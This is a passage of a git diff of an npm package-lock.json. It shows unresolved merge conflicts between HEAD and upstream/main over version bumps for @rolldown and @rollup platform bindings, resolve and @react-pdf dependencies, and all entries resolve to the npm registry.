"media-engine": "^2.0.0", +>>>>>>> upstream/main "postcss-value-parser": "^4.1.0" } }, "node_modules/@react-pdf/types/node_modules/color-name": { +<<<<<<< HEAD + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-2.1.0.tgz", + "integrity": "sha512-1bPaDNFm0axzE4MEAzKPuqKWeRaT43U/hyxKPBdqTfmPF+d6n7FSoTFxLVULUJOmiLp01KjhIPPH+HrXZJN4Rg==", +======= "version": "2.1.1", "resolved": "https://registry.npmjs.org/color-name/-/color-name-2.1.1.tgz", "integrity": "sha512-p2FdgwVx1a9yWBHP2wI0VgShkDpgN4kZISkxdNipGBJWpa5G6b04OINlVWCyJj0JmfvcPrgqt95E9k8yvaOJFg==", +>>>>>>> upstream/main "license": "MIT", "engines": { "node": ">=12.20" @@ -3081,6 +3608,12 @@ "node": ">=18" } }, +<<<<<<< HEAD + "node_modules/@rolldown/binding-android-arm64": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.1.3.tgz", + "integrity": "sha512-DT6Z3PhvioeHMvxo+xHc3KtqggrI7CCTXCmC2h/5zUlp5jVitv7XEy+9q5/7v8IolhlioawpMo8Kg0EEBy7J0g==", +======= "node_modules/@react-pdf/types/node_modules/media-engine": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/media-engine/-/media-engine-2.0.0.tgz", @@ -3108,6 +3641,7 @@ "version": "1.2.13", "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.2.13.tgz", "integrity": "sha512-6LEoIrGy5vvCd2boNnv2soPSUZj/PRvhp8R/t9KlX+mIZxThIE/ZqxrGXxmuNX0FuvQFvLdZr7S4HrYpYBVhEQ==", +>>>>>>> upstream/main "cpu": [ "arm64" ], @@ -3122,9 +3656,15 @@ } }, "node_modules/@rolldown/binding-darwin-arm64": { +<<<<<<< HEAD + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.1.3.tgz", + "integrity": "sha512-0NwgwsjM7LrsuVnXMK3koTpagBNOhloc/BNjKqZjv4V5zI5r13qx69uVhRx+o5Z0yy4Hzq+lpy7TAgUG/ocvrw==", +======= "version": "1.2.13", "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.2.13.tgz", "integrity": "sha512-CaJSRzlQ6Q+zkDMVA9OkVxBjVoPRCDEE3v0FSJ9kIQBgRjFApA3Si4ijhbNVUji7ZJt+PfO0e46qy4nPInHUPA==", +>>>>>>> upstream/main "cpu": [ "arm64" ], @@ -3139,9 +3679,15 @@ } }, "node_modules/@rolldown/binding-darwin-x64": { +<<<<<<< HEAD + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.1.3.tgz", + "integrity": "sha512-YtiBp4disu6V560loT6PjMdiRaWmVvDNrUunAalbiFx2ggeJwxdAsgZMcoGP17uyAsTwAj5V1niksxlHnVQ1Sw==", +======= "version": "1.2.13", "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.2.13.tgz", "integrity": "sha512-e4r340I5hxSzJkD3YJBxgzq/rJ3wwxwdLLb2FPt1Zpyem20nrQPT11DDEEkazwxaHumH8wpglsp/Ozgj/wT6mw==", +>>>>>>> upstream/main "cpu": [ "x64" ], @@ -3156,9 +3702,15 @@ } }, "node_modules/@rolldown/binding-freebsd-x64": { +<<<<<<< HEAD + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.1.3.tgz", + "integrity": "sha512-yD3EkEdXk2LypPxnf/kSZHirarsI8gcPzc62SukhR9VJTyvV+F9Q/GxWNuCojc7sXyuVC4DxRGhdDK4X8VSsbw==", +======= "version": "1.2.13", "resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.2.13.tgz", "integrity": "sha512-hoBWDZ4/K/mJKVMbsgUd1jfpA2DiOrJ54mpegObU9TBHBBrtX4FLIXJJQRDPZ/2Dn91GvPob+Z2hwKJzf4E5SQ==", +>>>>>>> upstream/main "cpu": [ "x64" ], @@ -3173,9 +3725,15 @@ } }, "node_modules/@rolldown/binding-linux-arm-gnueabihf": { +<<<<<<< HEAD + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.1.3.tgz", + "integrity": "sha512-c+8vieQbsD7HNAHKIA34w0GJ9FedFFuJGD+7E6vz7Q3uqAIugL5p45fhlsj4UaAsHpcmlqugBWMhA0/j7o0sIg==", +======= "version": "1.2.13", "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.2.13.tgz", "integrity": "sha512-oF9fZu3vTWnTiVAkDFxU9PJLt1nh20K9RRpuHsR7ZnE2L7XookBbDBVLojCVSLGbvtSlxeUNnjAj6DbNsKyzbg==", +>>>>>>> upstream/main "cpu": [ "arm" ], @@ -3190,9 +3748,15 @@ } }, "node_modules/@rolldown/binding-linux-arm64-gnu": { +<<<<<<< HEAD + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.1.3.tgz", + "integrity": "sha512-50jD0uUwLvur7Zz9LHz17kaAdTPjn5wN93hEgjvmYFRZwiR7ZJYovTd5ipyWJDAnXKvZ+wgc+/Ika6dwSF5OcA==", +======= "version": "1.2.13", "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.2.13.tgz", "integrity": "sha512-DTpb/+jMiqWMPgphn4ksW1zW+XLJ6dJJ9FMvnIk9I291LhCctMPhMYJrP5t9p6C9qa3KXadDdUEZHBaPh3kNxQ==", +>>>>>>> upstream/main "cpu": [ "arm64" ], @@ -3207,9 +3771,15 @@ } }, "node_modules/@rolldown/binding-linux-arm64-musl": { +<<<<<<< HEAD + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.1.3.tgz", + "integrity": "sha512-BO9+oPL8K9poZJBfYPsXNtYjPE5uM3qeehT3aFcW4LITOl+iSqhp0abzjR2nWBUNjIZeKXjAEWBZ64WjNoHd6w==", +======= "version": "1.2.13", "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.2.13.tgz", "integrity": "sha512-xU+Kvv9N2A3SY35zFh1FWWNjxbadE/BKeqnkXe7vScU4GZsw757BlVmDLITZEq8DPpk6m7uoDYkK7P+x/uU5Ow==", +>>>>>>> upstream/main "cpu": [ "arm64" ], @@ -3224,9 +3794,15 @@ } }, "node_modules/@rolldown/binding-linux-ppc64-gnu": { +<<<<<<< HEAD + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-1.1.3.tgz", + "integrity": "sha512-f3VpLB1vQ0Eo6ecr/6cekLnvYMFF4YBFoVGkfkvPLq1bAkbAwHYQPZKoAmG6OJyTcxxoC+AvezGx/S1obNC0Mw==", +======= "version": "1.2.13", "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-1.2.13.tgz", "integrity": "sha512-XMk/hnhh25oQ756Lclb1Q11h4ll0xC0Esa5w4Vzp+mAE2S3AGJgeM0SonrIgY8fHhjarb6hcoTuwoFG0VVP2ig==", +>>>>>>> upstream/main "cpu": [ "ppc64" ], @@ -3241,9 +3817,15 @@ } }, "node_modules/@rolldown/binding-linux-s390x-gnu": { +<<<<<<< HEAD + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-1.1.3.tgz", + "integrity": "sha512-AmurZ26Pqx/RI9N1gzEOCklkKXl927yjfXWUUS0O7Puh8ARM/Ob8qfrD3qnWksScdw6cSrW5PSHE9DyLu7+PtA==", +======= "version": "1.2.13", "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-1.2.13.tgz", "integrity": "sha512-U1BoTHYmlywE2n3HUWjzZ+8EQsKr+OwpxYuDWaubx42tUL8QSL7nOqRz/NVHanibbFP3M1Rxuprz/wNcbMKjqw==", +>>>>>>> upstream/main "cpu": [ "s390x" ], @@ -3258,9 +3840,15 @@ } }, "node_modules/@rolldown/binding-linux-x64-gnu": { +<<<<<<< HEAD + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.1.3.tgz", + "integrity": "sha512-JJpqs8bRGITDOdbkNKnlojzBabbOHrqjSvDr0IVsZObE1lBcPjxItUEY9eWIDbxaJ3cGrXPWGfGkIxFijg/URg==", +======= "version": "1.2.13", "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.2.13.tgz", "integrity": "sha512-J4cm80Pc6wEwV5AZ42o62sIQgDk+Y7R2s646jIwuvO+4V46QB58N4vVuMPWCBaNgursXLpmUWJV//WQAkPvHBQ==", +>>>>>>> upstream/main "cpu": [ "x64" ], @@ -3275,9 +3863,15 @@ } }, "node_modules/@rolldown/binding-linux-x64-musl": { +<<<<<<< HEAD + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.1.3.tgz", + "integrity": "sha512-rSJcdjPxzA/by/6/rYs+v+bXU7UjvnbUWz8MJb6kh6+knqB1dCrtHg0uu7C/4haqJvqdkYHQ5IGn+tCH9GLW/g==", +======= "version": "1.2.13", "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.2.13.tgz", "integrity": "sha512-W0euZS40U4V6JkmEnVCIX9mcsL6cbXQ4X8c2w+MMOIjFg68TXUW+u3RT+2e1t1pv9mg/EP3pDtK3POXdQ7Rxyw==", +>>>>>>> upstream/main "cpu": [ "x64" ], @@ -3292,9 +3886,15 @@ } }, "node_modules/@rolldown/binding-openharmony-arm64": { +<<<<<<< HEAD + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.1.3.tgz", + "integrity": "sha512-hQ3/PYkDJICgevvyNcVrihVeqq7k1Pp3VZ9lY+dauAYUJKO+auqApvANhvR1An9BhmqYKvW2Mu1F9u4DXSMLxQ==", +======= "version": "1.2.13", "resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.2.13.tgz", "integrity": "sha512-do/AF/4n9MRshia3a5aXoy8xM2c6mgfT6D7H/dY6my5z+hfCIR4ab7mk4IRj++nsEQpKy39kd0DQnDq+r692tw==", +>>>>>>> upstream/main "cpu": [ "arm64" ], @@ -3308,10 +3908,70 @@ "node": "^20.19.0 || >=22.12.0" } }, +<<<<<<< HEAD + "node_modules/@rolldown/binding-wasm32-wasi": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-wasm32-wasi/-/binding-wasm32-wasi-1.1.3.tgz", + "integrity": "sha512-Elcv/BtML9lXrV6JuKITc/grN2kYV9gjsQpW8Jfw4ioK0TOkjBjye0nnyqQNy9STNaI20lXNaQBRrD5gSgR0Yg==", + "cpu": [ + "wasm32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@emnapi/core": "1.11.1", + "@emnapi/runtime": "1.11.1", + "@napi-rs/wasm-runtime": "^1.1.6" + }, + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-wasm32-wasi/node_modules/@emnapi/core": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@emnapi/core/-/core-1.11.1.tgz", + "integrity": "sha512-RSvbQmHzdKzNsLYa/wHrbc3KN4sYLKAdPZxqiM2HATqv/SBk2/ENSHpvXGaLOMcsAyz0poEGqkmmKYG3OWiJEQ==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@emnapi/wasi-threads": "1.2.2", + "tslib": "^2.4.0" + } + }, + "node_modules/@rolldown/binding-wasm32-wasi/node_modules/@emnapi/runtime": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.11.1.tgz", + "integrity": "sha512-vgj7R3y3Wgx24IQaGPA/R6YFXLHVMOZ0uVEyIQPaWs+rd1AzfEMXlAC22FYwO1XkKR6NPsq7mUandH8oIRdZFw==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@rolldown/binding-wasm32-wasi/node_modules/@emnapi/wasi-threads": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/@emnapi/wasi-threads/-/wasi-threads-1.2.2.tgz", + "integrity": "sha512-c95qOXkHdydNKhscBTebqEC1CVAZpyqOfVfBzQ1qgzyl3gfeldUjIggDbIZgDKsHLgnsM+igH7TJ/eAasaVuMA==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@rolldown/binding-win32-arm64-msvc": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.1.3.tgz", + "integrity": "sha512-2DrEfhluH9yhiaFApmsjsjwrSYbNcY1oFTzYSP1a535jDbV98zCFanA/96TBUd0iDFcxGmw9QRExwGCXz3U+/g==", +======= "node_modules/@rolldown/binding-win32-arm64-msvc": { "version": "1.2.13", "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.2.13.tgz", "integrity": "sha512-6FtUf2cJZobutJdxnGYX8z0vtbgqU0b2v8vfBhkXb9wp2MppMFtkunE+IaOntyi01rkIQoPW2GHABtfzsC0BRQ==", +>>>>>>> upstream/main "cpu": [ "arm64" ], @@ -3326,9 +3986,15 @@ } }, "node_modules/@rolldown/binding-win32-x64-msvc": { +<<<<<<< HEAD + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.1.3.tgz", + "integrity": "sha512-OL4OMk7UPXOeVGGd3qo5zJyPIljf4AFgk5QAkPPS+OoLuOOozhuaQGC18MxVTnw/06q93gShAJzlwnSCY9YtqA==", +======= "version": "1.2.13", "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.2.13.tgz", "integrity": "sha512-UKhFaZTeTcbKrb3iU82m17jVcPEAoqDkCN5MBqgPyZSwp/cQmib21crTS0DdH7T1B7wZRWEI89YQAOJMet5yhg==", +>>>>>>> upstream/main "cpu": [ "x64" ], @@ -3464,6 +4130,15 @@ } }, "node_modules/@rollup/plugin-node-resolve/node_modules/resolve": { +<<<<<<< HEAD + "version": "1.22.12", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.12.tgz", + "integrity": "sha512-TyeJ1zif53BPfHootBGwPRYT1RUt6oGWsaQr8UyZW/eAm9bKoijtvruSDEmZHm92CwS9nj7/fWttqPCgzep8CA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "is-core-module": "^2.16.1", +======= "version": "1.22.13", "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.13.tgz", "integrity": "sha512-Dj/cW9zBV2aRj6XzCxuGIs3ESZKv02jixne3q6jFZYZ3/Tg09gHHviSMDL4kObh9pqSahdRHEnDoaP2gn8YLhA==", @@ -3471,6 +4146,7 @@ "dependencies": { "es-errors": "^1.3.0", "is-core-module": "^2.17.0", +>>>>>>> upstream/main "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, @@ -3592,9 +4268,15 @@ } }, "node_modules/@rollup/rollup-android-arm-eabi": { +<<<<<<< HEAD + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.62.2.tgz", + "integrity": "sha512-6o7ZLZK+BeenkZCFNDXqpbjw9bD6nuWonvS/lwQJp7NoVVxm6p3qE7qQ5jGuBjiFsgvqjD8mZAU5oWxTmbOeOg==", +======= "version": "4.64.2", "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.64.2.tgz", "integrity": "sha512-gjNDUwMswogkw3fNqV00u54uZlgmInuw5EU/1TeqQ6K0bEagoGvqjPdKzy112lKyhe7PkGudZ/kSQHsc9qroIg==", +>>>>>>> upstream/main "cpu": [ "arm" ], @@ -3605,9 +4287,15 @@ ] }, "node_modules/@rollup/rollup-android-arm64": { +<<<<<<< HEAD + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.62.2.tgz", + "integrity": "sha512-BaH7BllCACHoH1LguOU56UItGfUWjujlO65kS9LAodViaN4bwIKd7oeW/ZHJ/4ljr/7MIiENnNy3HJ0zXv8Zkw==", +======= "version": "4.64.2", "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.64.2.tgz", "integrity": "sha512-YkAW8q7p5SCLSaGWaUkmsRnBEb3MGA1pB5nI/8k0lAK5fZsQKRBqkdR1h4UU9p8u3c7ZGdUF2Zcx7mK+E/pUKg==", +>>>>>>> upstream/main "cpu": [ "arm64" ], @@ -3618,9 +4306,15 @@ ] }, "node_modules/@rollup/rollup-darwin-arm64": { +<<<<<<< HEAD + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.62.2.tgz", + "integrity": "sha512-v39RCCvj4He82I9sFmk+M1VZ0PLM9sfsLVikjfx2hYBNALhrrOR2D3JjQA6AhlaSOgcR+RzrKY7e1+bT6SUO/A==", +======= "version": "4.64.2", "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.64.2.tgz", "integrity": "sha512-hNmuIHv+LnrP/+q/44vsmIMWfoh7X2YXOp5FLtjGuvqN52VdtFpOpnshTc1k28tWv1wE/0D5gLjsozBUowEGbQ==", +>>>>>>> upstream/main "cpu": [ "arm64" ], @@ -3631,9 +4325,15 @@ ] }, "node_modules/@rollup/rollup-darwin-x64": { +<<<<<<< HEAD + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.62.2.tgz", + "integrity": "sha512-yl0y2vq3S3lHeuXhEdss6TWfKW8vkujImO12tn4ZkG/4oghr09LvdYm2RElVjokTQiUvDUGXLGsYeLqUMCKpGA==", +======= "version": "4.64.2", "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.64.2.tgz", "integrity": "sha512-B0t5CoxgF2KL7R5FHAsyN8yVEQCSIkh4XVs8MCDjuBLNjEa8l3zd5tVKaFMv53LfUtHs9p2rnqeavPTOunV+Ww==", +>>>>>>> upstream/main "cpu": [ "x64" ], @@ -3644,9 +4344,15 @@ ] }, "node_modules/@rollup/rollup-freebsd-arm64": { +<<<<<<< HEAD + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.62.2.tgz", + "integrity": "sha512-tT4pvt4qXD+vEoezupCWi+a1F0vvDiksiHc+PxRlYTOH1I6/X4id9jPxTP+Fg+545euaFT1jJVs4CEdHZAU1vw==", +======= "version": "4.64.2", "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.64.2.tgz", "integrity": "sha512-QQdYnfwrPmc1DoPlddjFvQPzUHFbStKXsHrG6EBYsWHhBVUCjsCRdcfGGXGAvhDpDtTzKK4vy1UrGFJ45rQaiw==", +>>>>>>> upstream/main "cpu": [ "arm64" ], @@ -3657,9 +4363,15 @@ ] }, "node_modules/@rollup/rollup-freebsd-x64": { +<<<<<<< HEAD + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.62.2.tgz", + "integrity": "sha512-6nU5F2wCW+qvCBhTn1pdIU3bzsIoF7EUwsCDRxilWGprQR6yd508YnH9+OKFCwpfS8pjZqDUmnCAr7exax0XCg==", +======= "version": "4.64.2", "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.64.2.tgz", "integrity": "sha512-1xRxtGWif6BB58VSfMavi0Yfs2M4x6CtRp4o7ScY4W7AGlgvf6GSPKdDNdw7TX3tMiQwZY5W/mvyrOJTq/7AKA==", +>>>>>>> upstream/main "cpu": [ "x64" ], @@ -3670,9 +4382,15 @@ ] }, "node_modules/@rollup/rollup-linux-arm-gnueabihf": { +<<<<<<< HEAD + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.62.2.tgz", + "integrity": "sha512-n1GJHPOvpIfhi3TmrCeh6S6URt9BFCt0KQE3qvexyGCTAKpR4Lg+eWvNZEqu7epxwus/8ElT3hacYEucm49SZg==", +======= "version": "4.64.2", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.64.2.tgz", "integrity": "sha512-CXFLEt384BUwwOLR9DURWNHl1bQOVLd1ibOee+yKBJm/fZtvrSAOZ0JbxjAxszVMIovYMwFMS+oP+Q1aPcx8Eg==", +>>>>>>> upstream/main "cpu": [ "arm" ], @@ -3683,9 +4401,15 @@ ] }, "node_modules/@rollup/rollup-linux-arm-musleabihf": { +<<<<<<< HEAD + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.62.2.tgz", + "integrity": "sha512-JqgflS8wEB+UXV/vS1RpRbifGBeN4D5lz8D8oOFbFZw4vedvdOgCFAjfBmIMdW3yL10XpQQ0Ambepw6MXrhOnA==", +======= "version": "4.64.2", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.64.2.tgz", "integrity": "sha512-T1dorY0WHm5mMNpMHFl5rYRZ02gLSZcr6J45r66tYb3S3R3DyIRGiGWVdLtF+zOQjratNJaObl9jYumueRiL1A==", +>>>>>>> upstream/main "cpu": [ "arm" ], @@ -3696,9 +4420,15 @@ ] }, "node_modules/@rollup/rollup-linux-arm64-gnu": { +<<<<<<< HEAD + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.62.2.tgz", + "integrity": "sha512-wnFJkogWvN4jm/hQRF2UBaeUmk20j5+DmHvoyWii2b8HJDyvz1MF2OU/6ynXt2KR63rbZLWkFpoytpdc/yBuSA==", +======= "version": "4.64.2", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.64.2.tgz", "integrity": "sha512-ia6bfaCIc0ldp6bvs9oEkFrJVJKNUMoiDF0+LBZsQAZg+vE0znXnzGqH+ew/FYswE30cruAWPTO3dPw7keaVkQ==", +>>>>>>> upstream/main "cpu": [ "arm64" ], @@ -3709,9 +4439,15 @@ ] }, "node_modules/@rollup/rollup-linux-arm64-musl": { +<<<<<<< HEAD + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.62.2.tgz", + "integrity": "sha512-HVu2bp0zhvJ8xHEV9+UUs7S90VadmBSY3LcIMvozbPo4AuMGDWlz3ymHLHZPX4hR67TKTt8Qp5PJ5RBg/i+RMQ==", +======= "version": "4.64.2", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.64.2.tgz", "integrity": "sha512-mB/gwfBfXtT0EBpbSssqKCqMFuX8b21Zy2TGoIhehSJEssZ5ksybxymwp1BkEM5Nczh/AAxpmh5q+MkhtundGg==", +>>>>>>> upstream/main "cpu": [ "arm64" ], @@ -3722,9 +4458,15 @@ ] }, "node_modules/@rollup/rollup-linux-loong64-gnu": { +<<<<<<< HEAD + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.62.2.tgz", + "integrity": "sha512-mQqqAV8QaoSgr9I2fKDLY2BAVvmKjWoGiu/cSYQonsLvtqwEn1E4QYfnCOcp5zoEqNhsDYin1s6jx/VJmrxlZg==", +======= "version": "4.64.2", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.64.2.tgz", "integrity": "sha512-VPd0a+XlHoNRI9jIPRHww2UKhDkD6XjbtcKYXZijAnhJS1jLLbiNtVl6a5LyEfNN+eyiyWcJOZXPzBo69oTsew==", +>>>>>>> upstream/main "cpu": [ "loong64" ], @@ -3735,9 +4477,15 @@ ] }, "node_modules/@rollup/rollup-linux-loong64-musl": { +<<<<<<< HEAD + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.62.2.tgz", + "integrity": "sha512-IxKLoxCQ2IWi6bT2akyDUBGsOImDKB+sPp4EsTmwFQ/fMwpCKm8uLSSgP/Kx/QYUgKis6SEZ5/Nlhup0DIA0PQ==", +======= "version": "4.64.2", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.64.2.tgz", "integrity": "sha512-10N1I6oBpERqzGtHKcCLrEpHlbXSBbMK9TURHvqgWbIFZuU3oJROxJ0H2nHfq96TVI0XJHQ9qzolJMFd2tz0LA==", +>>>>>>> upstream/main "cpu": [ "loong64" ], @@ -3748,9 +4496,15 @@ ] }, "node_modules/@rollup/rollup-linux-ppc64-gnu": { +<<<<<<< HEAD + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.62.2.tgz", + "integrity": "sha512-Mk5ha2RQSgyFfmYYLkBpPnUk8D8FriBxesO1u9O75X0mHgXL1UQcH5Itl2lurWL2tj0RxV9b9tJgipac0hRY9A==", +======= "version": "4.64.2", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.64.2.tgz", "integrity": "sha512-dhJrLVZ3wNNhwCmy9/VTg6Pq6J8a8eZ0n15dVRlbSWcDb+8V/1mDfbnvis+vt8W6Pbxzv6gUbTEl4piOT3bbUQ==", +>>>>>>> upstream/main "cpu": [ "ppc64" ], @@ -3761,9 +4515,15 @@ ] }, "node_modules/@rollup/rollup-linux-ppc64-musl": { +<<<<<<< HEAD + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.62.2.tgz", + "integrity": "sha512-CjvEnqJL/0/TQ3TXX3OPIJ/kmBellrWd4heXUmHeJlTnmwjKpSJzoehLaL6Xk0ZnMHBu9dZuFADNOrtjF4v+2w==", +======= "version": "4.64.2", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.64.2.tgz", "integrity": "sha512-tPd2QuwxkTxgju5eARyb3RdgBWWi/O9dn/NFH0VkvGbLzoQeXrH6qMABtW8IODb5lUeBzB3sy2U7qmI4MtQ72g==", +>>>>>>> upstream/main "cpu": [ "ppc64" ], @@ -3774,9 +4534,15 @@ ] }, "node_modules/@rollup/rollup-linux-riscv64-gnu": { +<<<<<<< HEAD + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.62.2.tgz", + "integrity": "sha512-1SiZbzwdkaDURsew/tSOrooKiYy7EQGT6m8ufavAi9NEyQb/6VuIxFXAL1fqa4iZe3g4NbNk4P7J32z2tw5Mgg==", +======= "version": "4.64.2", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.64.2.tgz", "integrity": "sha512-njtDdPvSQWI9CDhIPPxsiEMeHayCfu7wwcbSQ7c2kYPhGVviL+WGVhq6Jfj/b+VuhSTkFuQ0z4ZFbFjkWwBFmg==", +>>>>>>> upstream/main "cpu": [ "riscv64" ], @@ -3787,9 +4553,15 @@ ] }, "node_modules/@rollup/rollup-linux-riscv64-musl": { +<<<<<<< HEAD + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.62.2.tgz", + "integrity": "sha512-nQts12zJ3NQRoE6uYljOH89v7szzLDvG2JD/vsX+vGXU8w/At1GowTZ5/7qeFQ8m7L55rpR8Okugnuo5bgjy2Q==", +======= "version": "4.64.2", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.64.2.tgz", "integrity": "sha512-EbOBo3dqCj9ecEV9Z7zvulB6AieMP2ztnKQYGVOSN0pzIyOu+3JH2YJZnLmbPeVvfn6yP6Qi7NbBM27EzGbj2w==", +>>>>>>> upstream/main "cpu": [ "riscv64" ], @@ -3800,9 +4572,15 @@ ] }, "node_modules/@rollup/rollup-linux-s390x-gnu": { +<<<<<<< HEAD + "version": "4.62.2", + "resolved": 